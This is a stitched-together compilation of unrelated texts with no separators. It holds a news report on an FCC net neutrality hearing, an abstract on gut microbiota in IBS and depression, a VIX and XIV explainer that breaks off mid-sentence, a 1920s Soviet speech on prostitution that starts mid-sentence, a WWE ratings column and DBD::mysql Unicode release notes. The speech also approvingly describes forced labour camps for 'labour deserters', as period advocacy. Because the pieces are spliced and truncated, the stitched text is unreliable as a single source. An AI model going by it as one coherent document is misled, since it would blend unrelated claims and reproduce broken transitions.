Markey asked Pai what problem he is trying to fix by repealing net neutrality rules. Pai responded, "One of the concerns we have raised is these regulations might be dampening infrastructure investment."
"They might be, but there's no evidence of it," Markey fired back.
Pai continued, saying, "There has been evidence raised, and that is part of the reason why we are testing this proposition... we wanted to test this proposition in an open and public process."
The "testing" comes in the form of the Notice of Proposed Rulemaking (NPRM) in which the FCC proposes overturning the Title II classification of ISPs and asks the public for comment.
"In the NPRM we cited some evidence that, among the top 12 ISPs in terms of size, that investment was down," Pai said. "Also, a number of smaller providers, including municipal broadband providers, fixed wireless providers, small cable companies, and others submitted evidence."
The FCC wants to make sure that it has the facts correct and is open to evaluating different evidence, Pai said. "We want to hear that perspective as well that you just outlined," he told Markey.
"This is part of the reason we have a notice and comment process as opposed to simply an administrative decree that we find these rules are in fact harming [investment] and we're going to get rid of them immediately," Pai also said.
Pai is convinced that investment is down
But prior to yesterday, Pai seemed to have made up his mind that broadband investment is declining. He has said so in speeches, and the NPRM states it as a fact. "The Commission’s Title II Order has put at risk online investment and innovation, threatening the very open Internet it purported to preserve," the document says. "Investment in broadband networks declined. Internet service providers have pulled back on plans to deploy new and upgraded infrastructure and services to consumers."
Overturning the net neutrality rules will "reverse the decline in infrastructure investment," the NPRM also said, while asking the public for comments on the FCC's proposal and analysis.
Markey was not convinced by Pai's argument. The senator said that nearly half of US venture capital funds went to Internet-specific and software companies last year, and he referred to US Census figures that show rising investments by ISPs in 2015 (a point Markey also made in another hearing in March).
"We've hit a sweet spot" in investment and job creation, Markey said. "These net neutrality protections are a problem that doesn't need any fixing. The system is working."
Markey also said:
I feel that the evidence [to repeal the rules] right now is not there and if it was, the broadband companies themselves would have in fact been providing that evidence to their investors in their filings, and they have not done so. Anecdotal evidence is not evidence. There is no factual basis for that change [proposed by the FCC].
Two appointments to fill up the FCC
The FCC currently has three members: two Republicans (including Pai) and one Democrat. The Senate will likely approve the nominations of Carr and Rosenworcel, giving Republicans a 3-2 majority.
Rosenworcel is coming back for a second term as commissioner after an absence of a few months.
Carr served as Pai's Wireless, Public Safety, and International Legal Advisor for three years. After Trump elevated Pai to the chairmanship in January, Pai appointed Carr to become the FCC's general counsel. Carr could provide a third vote in favor of repealing net neutrality rules.
Sen. Bill Nelson (D-Fla.) challenged Carr to name any incident in which he has disagreed with Pai.
"It's necessary that this committee raise this question of independence," Nelson said. "How independent can you be of Chairman Pai? Can you name for the committee a time at which you substantively disagreed with Chairman Pai on an FCC matter or proceeding?"
Carr did not name any specific disagreements he's had with Pai, but said that Pai did not always take his advice.
"When I had a chance to work for the commissioner, I gave him my best candid advice," Carr said. "Sometimes he took it, sometimes he didn't take it. What I can commit to you, going forward, is I'll make my own decisions. I'll call it the way I see it based on the facts, the record, and what I think serves the public interest, independent of where other people come out."
Nelson said that Carr's response "is not confidence-building for those of us who are wondering about your future independence from the boss." Nelson said it is "hard to recall a similar situation where someone was nominated to serve at the FCC alongside... their current boss." Typically, an FCC staffer doesn't become a commissioner until after the commissioner they work for has left, he said.
Nelson also said the Senate should not confirm Carr for two consecutive terms—the White House apparently requested confirmation for two five-year terms instead of the usual one.
Carr did make one statement later in the hearing that was slightly different from a position Pai has taken. Carr was asked by Sen. Brian Schatz (D-Hawaii) about how much attention the FCC should give to the number of public comments on Pai's plan to eliminate net neutrality rules.
"I think it's very important," Carr responded. "I think it shows the level of interest and passion in this issue, and that's something we need to be taking into account."
That's a bit different from what Pai has said on the matter. After a protest brought two million new pro-net neutrality comments into the FCC last week, Pai said, "the raw number is not as important as the substantive comments that are in the record."Background & Aims Patients with irritable bowel syndrome (IBS) often have psychiatric comorbidities. Alterations in the intestinal microbiota have been associated with IBS and depression, but it is not clear if there is a microbial relationship between these disorders. We studied the profiles of fecal microbiota samples from patients with IBS, depression, or comorbidities of IBS and depression; we determined the relationships among these profiles and clinical and pathophysiological features of these disorders.
Methods We used 454 pyrosequencing to analyze fecal microbiota samples from 100 subjects (40 with diarrhea-predominant IBS [IBS-D], 15 with depression, 25 with comorbidities of IBS and depression, and 20 healthy individuals [controls]), recruited at Peking University. Abdominal and psychological symptoms were evaluated with validated questionnaires. Visceral sensitivity was evaluated using a barostat. Colonic mucosal inflammation was assayed by immunohistochemical analyses of sigmoid tissue biopsy specimens.
Results Fecal microbiota signatures were similar between patients with IBS-D and depression in that they were less diverse than samples from controls and had similar abundances of alterations. They were characterized by high proportions of Bacteroides (type I), Prevotella (type II), or nondominant microbiota (type III). Most patients with IBS-D or depression had type I or type II profiles (IBS-D had 85% type I and type II profiles, depression had 80% type I and type II profiles). Colon tissues from patients with type I or type II profiles had higher levels of inflammatory markers than colon tissues from patients with type III profiles. The level of colon inflammation correlated with the severity of IBS symptoms.It shouldn't be too surprising that the XIV exchange-traded note, which is designed to deliver the inverse performance of the well-known CBOE Volatility Index (or the VIX) on a daily basis, is attracting fresh attention after surging as much as 87 percent this year.
But some caution that investing in the exchange-traded product now is deeply risky.
This could be "the most dangerous trade in the world," according to macro strategist Boris Schlossberg of BK Asset Management. "It's already had a massive runup because we've had very low volatility," but at this point, "it's very likely that volatility is going to increase," Schlossberg said Thursday on CNBC's "Trading Nation."
The product itself is simple — or at least, as simple as an exchange-traded note tracking futures tracking an index tracking options on an index can be.
The VIX itself uses the prices of options on the S&P 500 to measure expectations of how much the index will move over the next 30 days. Since options are more commonly used to hedge against market declines than to speculate on market rises, the VIX also tracks investors interest in buying short-term "portfolio protection," which is why it is sometimes known as the market's "fear gauge." Recently, it has remained at very low levels, since the S&P 500 itself has seen notably muted moves.
When we go a step further, to products tracking the VIX that can be bought or sold, things get a little hairy. That's because the level of the VIX itself is merely the output of a mathematical equation, rather than an index that tracks assets that are bought and sold. An investor who buys all the stocks in the S&P 500 at the right proportions will end up with a portfolio that performs very similarly to that popular index, but there is no direct way to buy the products tracked by the VIX.
However, the creation of VIX futures in 2004 gave traders a relatively straightforward way to play the index. The standardized contracts settle at the cash level of the VIX, meaning that they offer a way for traders to gain positive (long) or negative (short) exposure to the future level of the VIX. If a trader thinks the VIX will be higher on a certain future date than the overall market expects it will be, she can simply buy a futures contract.
The hitch here is that VIX futures track something different from the VIX itself, and thus can move differently from the index. As an example, let's imagine that the country of Freedonia has decided to hold an election on Monday, and that the outcome will cause the market to move sharply in one direction or the other, but that the move will be constrained to Monday alone.
Since the VIX tracks expected moves over the next 30 days, this announcement should cause the VIX to rise sharply. But since the July VIX futures contract represents speculation about the level of the VIX on July 19, these futures may move less, or not at all.
A more general problem for VIX futures stems from the fact that the future is more uncertain than the present, and the far future is more uncertain than the near future. For this reason, VIX futures that settle far in the future trade at higher levels than VIX futures that expire in the near future, and VIX futures that expire in the near future generally trade at higher levels than the VIX itself. For instance, on Friday, the VIX is at 11.5, the July VIX futures are at 12.6, and the January 2018 VIX futures are at 16.5.
The creation of VIX futures, in turn, allowed for the creation of VIX-related exchange-traded products. By far the best known of these is the VXX, which is one of the 15 most popular exchange-traded products by dollar volume this year (according to a CNBC analysis of FactSet data).
Many investors and traders use the VXX as a highly convenient VIX proxy, but it's worth noting that the VXX tends to work poorly as a long-term holding due to the structure of the futures market. Lacking the ability to directly track the VIX, the VXX strives to provide continual exposure to 30-day futures on the VIX. And since the futures expire every month, the managers of the VXX continually sell soon-to-expire VIX futures in order to buy longer-to-expire ones.
The problem is that the structure of the futures market causes those longer-term futures to lose value as they come closer to expiration — meaning that the VXX is forever engaged in the Sisyphusian task of selling something less expensive in order to buy something more expensive.
It should be no great surprise, then, that the VXX is down 48 percent year to date while the VIX itself has fallen 18 percent; last year, the VXX dropped 68 percent while the VIX declined 23 percent; the year before that, the VXX slid by 36 percent while the VIX was down 5 percent.
The same structure of the futures market that hurts the VXX benefits the XIV, which is an exchange-traded product that aims to deliver, on a daily basis, the inverse performance of the VIX. Since the XIV is continually engaged in the process of shorting appropriate amounts of the two soonest-to-expire VIX contracts, the managers of the XIV are perpetually buying back cheaper, sooner-to-expire VIX futures in order to short more of the more-expensive, longer-dated VIX futures. The headwind for the VXX becomes a tail
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prostitution. There ought to he the same proportion of corrupt women among the rich as among the poor. But professional prostitutes, women who live by their bodies, are with rare exceptions recruited from the poorer classes. Poverty, hunger, deprivation and the glaring social inequalities that are the basis of the bourgeois system drive these women to prostitution.
Or again one might point to the fact that prostitutes in the capitalist countries are drawn, according to the statistics, from the thirteen to twenty-three age-group. Children and young women, in other words. And the majority of these girls are alone and without a home. Girls from wealthy backgrounds who have the excellent bourgeois family to protect them turn to prostitution only very occasionally. The exceptions are usually victims of tragic circumstances. More often than not they are victims of the hypocritical “double morality”. The bourgeois family abandons the girl who has “sinned” and she – alone, without support and branded by the scorn of society – sees prostitution as the only way out.
We can therefore list as factors responsible for prostitution: low wages, social inequalities, the economic dependence of women upon men, and the unhealthy custom by which women expect to he supported in return for sexual favours instead of in return for their labour.
The workers’ revolution in Russia has shattered the basis of capitalism and has struck a blow at the former dependence of women upon men. All citizens are equal before the work collective. They are equally obliged to work for the common good and are equally eligible to the support of the collective when they need it. A woman provides for herself not by marriage but by the part she plays in production and the contribution she makes to the people’s wealth.
Relations between the sexes are being transformed. But we are still bound by the old ideas. Furthermore, the economic structure is far from being completely re-arranged in the new way, and communism is still a long way off. In this transitional period prostitution naturally enough keeps a strong hold. After all, even though the main sources of prostitution – private property and the policy of strengthening the family – have been eliminated, other factors are still in force. Homelessness, neglect, had housing conditions, loneliness and low wages for women are still with us. Our productive apparatus is still in a state of collapse, and the dislocation of the national economy continues. These and other economic and social conditions lead women to prostitute their bodies.
To struggle against prostitution chiefly means to struggle against these conditions – in other words, it means to support the general policy of the Soviet government – which is directed towards strengthening the basis of communism and the organisation of production.
Some people might say that since prostitution will have no place once the power of the workers and the basis of communism are strengthened, no special campaign is necessary. This type of argument fails to take into account the harmful and disuniting effect that prostitution has on the construction of a new communist society.
The correct slogan was formulated at the first All-Russian Congress of Peasant and Working Woman: “A woman of the Soviet labour republic is a free citizen with equal rights, and cannot and must not be the object of buying and selling.” The slogan was proclaimed, but nothing was done. Above all, prostitution harms the national economy and hinders the further development of the productive forces. We know that we can only overcome chaos and improve industry if we harness the efforts and energies of the workers and if we organise the available labour power of both men and women in the most rational way. Down with the unproductive labour of housework and child-minding! Make way for work that is organised and productive and serves the work collective! These are the slogans we must take up.
And what, after all, is the professional prostitute? She is a person whose energy is not used for the collective; a person who lives off others, by taking from the rations of others. Can this sort of thing be allowed in a workers’ republic? No, it cannot. It cannot be allowed, because it reduces the reserves of energy and the number of working hands that are creating the national wealth and the general welfare, from the point of view of the national economy the professional prostitute is a labour deserter. For this reason we must ruthlessly oppose prostitution. In the interests of the economy we must start an immediate fight to reduce the number of prostitutes and eliminate prostitution in all its forms.
It is time we understood that the existence of prostitution contradicts the basic principles of a workers’ republic which fights all forms of unearned wages. In the three years of the revolution our ideas on this subject have changed greatly. A new philosophy, which has little m common with the old ideas, is in the making. Three years ago we regarded a merchant as a completely respectable person. Provided his accounts were in order and he did not cheat or dupe his customer too obviously, he was rewarded with the title of “merchant of the first guild”, “respected citizen”, etc.
Since the revolution attitudes, to trade and merchants have changed radically. We now call the “honest merchant” a speculator, and instead of awarding him honorary tides we drag him before a special committee and put him in a forced labour camp. Why do we do this?’ Because we know that we can only build a new communist economy if all adult citizens are involved in productive labour. The person who does not work and who lives off someone else or on an unearned wage harms the collective and the republic. We, therefore, hunt down the speculators, the traders and the hoarders who all live off unearned income. We must fight prostitution as another form of labour desertion.
We do not, therefore, condemn prostitution and fight against it as a special category but as an aspect of labour desertion. To us in the workers’ republic it is not important whether a woman sells herself to one man or to many, whether she is classed as a professional prostitute selling her favours to a succession of clients or as a wife selling herself to her husband. All women who avoid work and do not take part in production or in caring for children are liable, on the same basis as prostitutes, to be forced to work. We cannot make a difference between a prostitute and a lawful wife kept by her husband, whoever her husband is – even if he is a “commissar”. It is failure to take part in productive work that is the common thread connecting all labour deserters. The workers’ collective condemns the prostitute not because she gives her body to many men but because, like the legal wife who stays at home, she does no useful work for the society.
The second reason for organising a deliberate and well-planned campaign against prostitution is in order to safeguard the people’s health. Soviet Russia does not want illness and disease to cripple and weaken its citizens and reduce their work capacity. And prostitution spreads venereal disease. Of course, it is not the only means by which the disease is transmitted. Crowded living conditions, the absence of standards of hygiene, communal crockery and towels also play a part. Furthermore, in this time of changing moral norms and particularly when there is also a continual movement of troops from place to place, a sharp rise in the number of cases of venereal disease occurs independently of commercial prostitution. The civil war, for example, is raging in the fertile southern regions. The Cossack men have been beaten and have retreated with the Whites. Only the women are left behind in the villages. They have plenty of everything except husbands. The Red Army troops enter the village They are billeted out and stay several weeks. Free relationships develop between the soldiers and the women. These relationships have nothing to do with prostitution: the woman goes with the man voluntarily because she is attracted to him, and there is no thought on her part of material gain. It is not the Red Army soldier who provides for the woman but rather the opposite. The woman looks after him for the period that the troops are quartered in the village. The troops move away, but they leave venereal disease behind. Infection spreads. The diseases develop, multiply, and threaten to maim the younger generation.
At a joint meeting of the department of maternity protection and the women’s department, Professor Kol’tsov spoke about eugenics, the science of maintaining and improving the health of humanity. Prostitution is closely connected with this problem, since it is one of the main ways in which infections are spread. The theses of the interdepartmental commission on the struggle against prostitution point out that the development of special measures to fight venereal diseases is an urgent task. Steps must of course be taken to deal with all sources of the diseases, and not solely with prostitution in the way that hypocritical bourgeois society does. But although the diseases are spread to some extent by everyday circumstances, it is nevertheless essential to give everyone a clear idea of the role prostitution plays. The correct organisation of sexual education for young people is especially important. We must arm young people with accurate information allowing them to enter life with their eyes open. We must not remain silent any longer over questions connected with sexual life; we must break with false and bigoted bourgeois morality.
Prostitution is not compatible with the Soviet workers’ republic for a third reason: it does not contribute to the development and strengthening of the basic class character and of the proletariat and its new morality.
What is the fundamental quality of the working class? What is its strongest moral weapon in the struggle? Solidarity and comradeship is the basis of communism. Unless this sense is strongly developed amongst working people, the building of a truly communist society is inconceivable. Politically conscious communists should therefore logically be encouraging the development of solidarity in every way and fighting against all that hinders its development – Prostitution destroys the equality, solidarity and comradeship of the two halves of the working class. A man who buys the favours of a woman does not see her as a comrade or as a person with equal rights. He sees the woman as dependent upon himself and as an unequal creature of a lower order who is of less worth to the workers’ state. The contempt he has for the prostitute, whose favours he has bought, affects his attitude to all women. The further development of prostitution, instead of allowing for the growth of comradely feeling and solidarity, strengthens the inequality of the relationships between the sexes.
Prostitution is alien and harmful to the new communist morality which is in the process of forming. The task of the party as a whole and of the women’s departments in particular must he to launch a broad and resolute campaign against this legacy from the past. In bourgeois capitalist society all attempts at fighting prostitution were a useless waste of energy, since the two circumstances which gave rise to the phenomenon – private property and the direct material dependence of the majority of women upon men – were firmly established. In a workers’ republic the situation has changed. Private property has been abolished and all citizens of the republic are obliged to work. Marriage has ceased to be a method by which a woman can find herself a “breadwinner” and thus avoid the necessity of working or providing for herself by her own labour. The major social factors giving rise to prostitution are, in Soviet Russia, being eliminated. A number of secondary economic and social reasons remain with which it is easier to come to terms. The women’s departments must approach the struggle energetically, and they will find a wide field for activity.
On the Central Department’s initiative, an interdepartmental commission for the struggle against prostitution was organised last year. For a number of reasons the work of the commission was neglected for a time, but since the autumn of this year there have been signs of life, and with the co-operation of Dr Gol'man and the Central (Women’s) Department some work has been planned and organised. Representatives from the People’s Commissariats of health, labour, social security and industry, the women’s department and the union of communist youth are all involved. The commission has printed the theses in bulletin no. 4, distributes circulars to all regional departments of social security outlining a plan to establish similar commissions all over the country, and has set about working out a number of concrete measures to tackle the circumstances which give rise to prostitution.
The interdepartmental commission considers it necessary that the women’s departments take an active part in this work, since prostitution affects the propertyless women of the working class. It is our job it is the job of the women’s departments – to organise a mass campaign around the question of prostitution. We must approach this issue with the interests of the work collective in mind and ensure that the revolution within the family is completed, and that relationships between the sexes are put on a more human footing.
The interdepartmental commission, as the theses make clear, takes the view that the struggle against prostitution is connected in a fundamental way with the realisation of our Soviet politics in the sphere of economics and general construction. Prostitution will he finally eliminated when the basis of communism is strengthened. This is the truth which determines our actions. But we also need to understand the importance of creating a communist morality. The two tasks are closely connected: the new morality is created by a new economy, but we will not build a new communist economy without the support of a new morality. Clarity and precise thinking are essential in this matter, and we have nothing to fear from the truth. Communists must openly accept that unprecedented changes in the nature of sexual relationships are taking place. This revolution is called into being by the change in the economic structure and by the new role which women play in the productive activity of the workers’ state. In this difficult transition period, when the old is being destroyed and the new is in the process of being created, relations between the sexes sometimes develop that are not compatible with the interests of the collective. But there is also something healthy m the variety of relationships practised.
Our party and the women’s departments in particular must analyse the different forms in order to ascertain which are compatible with the general tasks of the revolutionary class and serve to strengthen the collective and its interests. Behaviour that is harmful to the collective must he rejected and condemned by communists. This is how the Central Women’s Department has understood the task of the interdepartmental commission. It is not only necessary to take practical measures to fight the situation and the circumstances that nourish prostitution and to solve the problems of housing and loneliness etc., but also to help the working class to establish its morality alongside its dictatorship.
The interdepartmental commission points to the fact that in Soviet Russia prostitution is practised (a) as a profession and (b) as a means of earning supplementary income. The first form of prostitution is less common and in Petrograd, for example, the number of prostitutes has not been significantly reduced by round-ups of the professionals. The second type of prostitution is widespread in bourgeois capitalist countries (in Petrograd; before the revolution, out of a total of fifty thousand prostitutes only about six or seven thousand were registered), and continues under various guises in our Russia, Soviet ladies exchange their favours for a pair of high-heeled boots; working women and mothers of families sell their favours for flour. Peasant women sleep with the heads of the anti-profiteer detachments in the hope of saving their boarded food, and office workers sleep with their bosses in return for rations, shoes and in the hope of promotion.
How should we fight this situation? The interdepartmental commission had to tackle the important question of whether or not prostitution should be made a criminal offence. Many of the representatives of the commission were inclined to the view that prostitution should be an offence, arguing that professional prostitutes are clearly labour deserters. If such a law were passed, the round-up and placing of prostitutes in forced labour camps would become accepted policy.
The Central Department spoke in firm and absolute opposition to such, a step, pointing out that if prostitutes were to be arrested on such grounds, then so ought all legal wives who are maintained by their husbands and do not contribute to society. The prostitute and the house-wife are both labour deserters, and you cannot send one to a forced labour camp without sending the other. This was the position the Central Department took, and it was supported by the representative of the Commissariat of justice. If we take labour desertion as our criterion, we cannot help punishing all forms of labour desertion. Marriage or the existence of certain relationships between the sexes is of no significance and can play no role in defining criminal offences in a labour republic.
In bourgeois society a woman is condemned to persecution not when she does no work that is useful to the collective or because she sells herself for material gain (two-thirds of women in bourgeois society sell themselves to their legal husbands), but when her sexual relationships are informal and of short duration. Marriage in bourgeois society is characterised by its duration and by the official nature of its registration. Property inheritance is preserved in this way. Relationships that are of a temporary nature and lack official sanction are considered by the bigots and hypocritical upholders of bourgeois morality to be shameful.
Can we who uphold the interests of working people define relationships that are temporary and unregistered as criminal? Of course we cannot. Freedom in relationships between the sexes does not contradict communist ideology. The interests of the work collective are not affected by the temporary or lasting nature of a relationship or by its basis in love, passion or passing physical attraction.
A relationship is harmful and alien to the collective only if material bargaining between the sexes is involved, only when worldly calculations are a substitute for mutual attraction. Whether the bargaining takes the form of prostitution or of a legal marriage relationship is not important. Such unhealthy relationships cannot be permitted, since they threaten equality and solidarity. We must therefore condemn all prostitution, and go as far as explaining to these legal wives are “kept women” what a sad and intolerable part they are playing in the worker’s state.
Can the presence or otherwise of material bargaining be used as a criterion in determining what is and what is not a criminal offence? can we really persuade a couple to admit whether or not there is an element of calculation in their relationship? Would such a law be workable, particularly in view of the fact that at the present time a great variety of relationships are practised among working people and ideas on sexual morality are in constant flux? Where does prostitution end and the marriage of convenience begin? The interdepartmental commission opposed the suggestion that prostitutes be punished for prostituting, i.e. for buying and selling. They confined themselves to suggesting that all people convicted of work desertion be directed to the social security network and from there either to the section of the Commissariat that deals with the deployment of the labour force or to sanatoria and hospitals. A prostitute is not a special case; as with other categories of deserter, she is only sent to do forced labour if she repeatedly avoids work. Prostitutes are not treated any differently from other labour deserters. This is an important and courageous step, worthy of the world’s first labour republic.
The question of prostitution as an offence was set out in thesis no. 15. The next problem that had to be tackled was whether or not the law should punish the prostitute’s clients. There were some on the commission who were in favour of this, but they had to give up the idea, which did not follow on logically from our basic premises. How is a client to be defined? Is he someone who buys a woman’s favours? In that case the husbands of many legal wives will be guilty. Who is to decide who is a client and who is not? It was suggested that this problem be studied further before a decision was made, but the Central Department and the majority of the commission were against this. As the representative of the Commissariat of justice, admitted, if it were not possible to define exactly when a crime had been committed, then the idea of punishing clients was untenable. The position of the Central Department was once again adopted.
But while the commission accepted that clients cannot he punished by the law, it spoke out for the moral condemnation of those who visit prostitutes or in any way make a business out of prostitution. In fact the commission’s theses point out that all go-betweens who make money out of prostitution can be prosecuted as persons making money other than by their own labour. Legislative proposals to this effect have been drawn up by the interdepartmental commission and put before the Council, of People’s Commissars. They will come into force in the neat future.
It remain for me to indicate the purely practical measures which can help to reduce prostitution, and in the implementation of which the women’s departments can play an active role. It cannot be doubted that the poor and inadequate wages that women receive continue to serve as one of the real factors pushing women into prostitution. According to the law the Wages of male and female workers are equal, but in practice most women are engaged in unskilled work. The problem of improving their skills through the development of a network of special courses must he tackled. The task of the women’s departments must be to bring influence to bear on, the education authorities to step up the provision of vocational training for working women.
The political backwardness of women and their lack of social awareness is a second reason for prostitution. The women’s departments should increase their work amongst proletarian women. The best way to fight prostitution is to raise the political consciousness of the broad masses of women and to draw them into the revolutionary struggle to build communism.
The fact that the housing situation is still not solved also encourages prostitution. The women’s department and the commission for the struggle against prostitution can and must have their say over the solution of this problem. The interdepartmental commission is working out a project on the provision of house communes for young working people and on the establishment of houses that will provide accommodation for women when they are newly arrived in any area, However, unless the women’s departments and the komsomols in the provinces show some initiative and take independent action in this matter, all the directives of the commission will remain beautiful and benevolent resolutions – but they will remain on paper. And there is so much we can and must do. The local women’s departments must work in conjunction with the education commissions to raise the issue of the correct organisation of sex education in schools. They could also hold a series of discussions and lectures on marriage, the family and the history of relationships between the sexes, highlighting the dependence of these phenomena and of sexual morality itself on economic factors.
It is time we were clear on the question of sexual relationships. It is time we approached this question in a spirit of ruthless and scientific criticism. I already said that the interdepartmental commission has accepted that professional prostitutes are to be treated in the same way as labour deserters It therefore follows that women who have a work- book but are practising prostitution as a secondary source of income cannot he prosecuted. But this does not mean that we do not fight against prostitution. We are aware, as I have already pointed out more than once today, that prostitution harm the work collective, negatively affecting the psychology of men and women and distorting feelings of equality and solidarity. Our task is to re-educate the work collective and to bring its psychology into line with the economic tasks of the working class. We must ruthlessly discard the old ideas and attitudes to which we cling through habit Economics has outstripped ideology. The old economic structure is disintegrating and with it the old type of marriage, but we cling to bourgeois life styles. We are ready to reject all the aspects of the old system and welcome the revolution in all spheres of life, only... don’t touch the family, don’t try to change the family! Even politically aware communists are afraid to look squarely at the truth, they brush aside the evidence which clearly shows that the old family ties are weakening and that new forms of economy dictate new forms of relationships between the sexes. Soviet power recognises that woman has a part to play in the national economy and has placed her on an equal footing with the man in this respect, but in everyday life we still hold to the “old ways” and are prepared to accept as normal marriages which are based on the material dependency of a woman on a man. In our struggle against prostitution we must clarify our attitude to marital relations that are based on the same principles of “buying and selling”. We must learn to be ruthless over this issue; we must not be deflected from our purpose by sentimental complaints that “by your criticism and scientific preaching you encroach on sacred family ties”. We have to explain unequivocally that the old form of the family has been outstripped. Communist, society has no need of it. The bourgeois world gave its blessing to the exclusiveness and isolation of the married couple from the collective; in the atomised and individualistic bourgeois society, the family was the only protection from the storm of life, a quiet harbour in a sea of hostility and competition. The family was an independent and enclosed collective. In communist society this cannot be. Communist society presupposes such a strong sense of the collective that any possibility of the existence of the isolated, introspective family group is excluded. At the present moment ties of kinship, family and even of married life can be seen to be weakening. New ties between working people are being forged and comradeship, common interests, collective responsibility and faith in the collective are establishing themselves as the highest principles of morality.
I will not take it upon myself to prophesy the form that marriage or relationships between the sexes will assume in the future. But of one thing there is no doubt: under communism all dependence of women upon men and all the elements of material calculation found m modern marriage will be absent. Sexual relationships will be based on a healthy instinct for reproduction prompted by the abandon of young love, or by fervent passion, or by a blaze of physical attraction or by a soft light of intellectual and emotional harmony. Such sexual relationships have nothing in common with prostitution. Prostitution is terrible because it is an act of violence by the woman upon herself in the name of material gain. Prostitution is I naked act of material calculation which leaves no room for considerations of love and passion. Where passion and attraction begin, prostitution ends. Under communism, prostitution and the contemporary family will disappear. Healthy, joyful and free relationships between the sexes will develop. A new generation will come into being, independent and courageous and with a strong sense of the collective: a generation which places the good of the collective above all else.
Comrades! We are laying the foundations for this communist future. It is in our power to hasten the advent of this future. We must strengthen the sense of solidarity within the working class. We must encourage this sense of togetherness. Prostitution hinders the development of solidarity, and we therefore call upon the women’s departments to begin an immediate campaign to root out his evil.
Comrades! Our task is to cut out the roots that feed prostitution. Our task is to wage a merciless struggle against all the remnants of individualism and of the former, type of marriage. Our task is to revolutionise, attitudes in the sphere of sexual relationships, to bring them into line with the interest of the working collective. When the communist collective has eliminated the contemporary forms of marriage and the family, the problem of prostitution will cease to exist.
Let us get to work, comrades. The new family is already in the process of creation, and the great family of the triumphant world proletariat is developing and growing stronger.WWE Raw is in a ratings tailspin, and two familiar names, Kurt Angle and Triple H, may get the show out of it.
According to WrestlingNewsWorld.com, Angle's current "mystery text" storyline will "set up Kurt Angle vs. Triple H at WrestleMania 34." That seems to gel with a recent report from Cageside Seats stating that Angle's storyline is a precursor to the TV return of Triple H's wife, Stephanie McMahon:
The angle started on...Raw with Corey Graves, Kurt Angle and a mystery text will likely be used, at least in part, to bring Stephanie McMahon back to television.
WWE, of course, is notorious for booking major storylines, if not downright outlandish ones, during the summer, which has traditionally been a down time for TV ratings. In 2017, Raw's ratings free-fall has reached an all-time high (or is it low?) as the red brand has been drawing some of its worst ratings in company history:
In recent years, WWE has gone to the extreme to give fans a marquee summer angle in an attempt to keep viewers watching consistently. In 2011, that story was "The Summer of Punk," with CM Punk threatening to win the WWE Championship, leave WWE and take the title with him. The previous year, it was the debut of The Nexus, a group of NXT stars attempting a hostile takeover of the company. In 2008, it was perhaps WWE's most desperate act ever, Vince McMahon's "Million Dollar Mania," in which the boss legitimately gave away one million dollars to one lucky fan every week.
It looks like Angle vs. Triple H, or perhaps Angle vs. The Authority, will be that grand summer storyline in 2017.
WWE's logic here is that a main event stortyline involving two of the biggest legends in company history will be enough to entice viewers to watch the product on a more consistent basis. Triple H, after all, has recently proven to be a strong draw on WWE's YouTube channel, where his brawl with Roman Reigns (26.6 million views) ranks among WWE's most viewed YouTube videos ever and others, like his showdown with Brock Lesnar and his staredown with Bray Wyatt, were huge hits as well.
Raw has a long history of seeing its ratings spike when part-timers are around, as Goldberg and Brock Lesnar have both proven. The hope is obviously that the combination of Triple H and Angle can do the same, especially given that Angle hasn't wrestled a match for WWE since 2006 and would undoubtedly peak interest in Raw if the show ignites a feud leading to his return match.
Angle has made it known that he believes he will wrestle in WWE again, and it's safe to say that WWE could use his services now that the part-timer well is beginning to run dry, with The Undertaker and Goldberg seemingly calling it a career at WrestleMania 33. Unfortunately, that's been a contributing factor to plummeting TV ratings, which according to Cageside Seats has become a major cause of concern in WWE:
Even though it’s still a couple years away, WWE officials are worried their ratings slump will hurt their negotiating position on their next TV deal.
WWE's last TV deal, which was signed in 2014, was seen as a major disappointment, causing the company's stock to plummet after its new deal increased by less than 70 percent when WWE predicted that the deal would be worth double its previous one. Now, WWE finds itself a little more than two years away from its US TV deal ending and in need of something to get Raw's ratings back on track.
While there may not be one particular angle that could save the day, a substantial storyline involving the likes of Angle and Triple H is something that could go a long way toward bringing back fans who have turned off the product in the months since WrestleMania 33.
At the very least, it's worth trying, or else WWE may continue to lose more viewers for the rest of 2017.
Blake Oestriecher is an elementary school teacher by day and a sports writer by night. He’s a contributor to the Forbes @SportsMoneyBlog, where he focuses on the WWE, NBA and NFL. You can follow him on Twitter @BOestriecher.After a couple of years of more or less "maintenance mode" on DBD::mysql - we had a hand full of people contributing occasional fixes and a whole slew of drive-by contributors - we now have a prolific contributor again: Pali Rohár.
It's great to see some more long-standing issues taken care of!
This time around, in the new development release 4.041_01 that is on CPAN now, there are some important fixes for some Unicode-related issues that I would like to point out. The sections below I have distilled based on the descriptions made by Pali.
Automatically converting to UTF-8 for bind parameters
Before this release perl scalars (statements or bind parameters) without UTF8 status flag were not encoded to UTF-8 even if mysql_enable_utf8 was enabled. This caused perl scalars with internal Latin1 encoding to be sent to the mysql server as Latin1 even if mysql_enable_utf8 was enabled.
Now all statements and bind parameters which are not a DBI binary type ( SQL_BIT, SQL_BLOB, SQL_BINARY, SQL_VARBINARY or SQL_LONGVARBINARY ) are automatically encoded to UTF-8 when mysql_enable_utf8 is enabled.
If mysql_enable_utf8 is not enabled and your statement or bind parameter contains a wide Unicode character then DBD::mysql shows a warning. If a binary parameter contains a wide Unicode character then DBD::mysql shows a warning too, similar like function print without using a :utf8 perlio layer. ("Wide character in...")
Perl's SvPV() returns char* from a perl scalar and the following SvUTF8() call for that scalar returns true if SvPV returned the data in UTF-8 or Latin1.
Decoding of UTF-8 fields when mysqlenableutf8 is enabled
For each fetched field mysql server tells us its charset id. Before this release when mysqlenableutf8 was enabled DBD::mysql UTF-8 decoded all fields with a charset id different than 63 (which means binary).
Now DBD::mysql UTF-8 decodes only those fields which have their charset set to utf8 or utf8mb4. By default mysql server sends data in encoding specified by the SET NAMES command, which is by default Latin1. So any received Latin1 data is not UTF-8 decoded anymore.
The mysql server sends a charset id, not a charset name. Each combination of charset name and collation pairs has its own charset id. A new function charsetnr_is_utf8() has hardcoded all utf8 and utf8mb4 charset ids from mysql (up to 8.0.0) and mariadb (up to 10.2.2) from their source code. So far it looks like those ids are not changing since old mysql 5.0, only new ones are added.
Conclusion
We hope these changes make DBD::mysql a lot more consistent for you. Since the changes are rather big, we'd urge you to test the development release 4.041_01 which is on CPAN and give feedback NOW; this allows us to make changes if needed before we create an actual stable release with these features.
And of course, if you test it with your software and all is good, we'd like to hear that as well!
You can leave your feedback via the DBI-users mailing list, or using our GitHub page.Not everywhere:
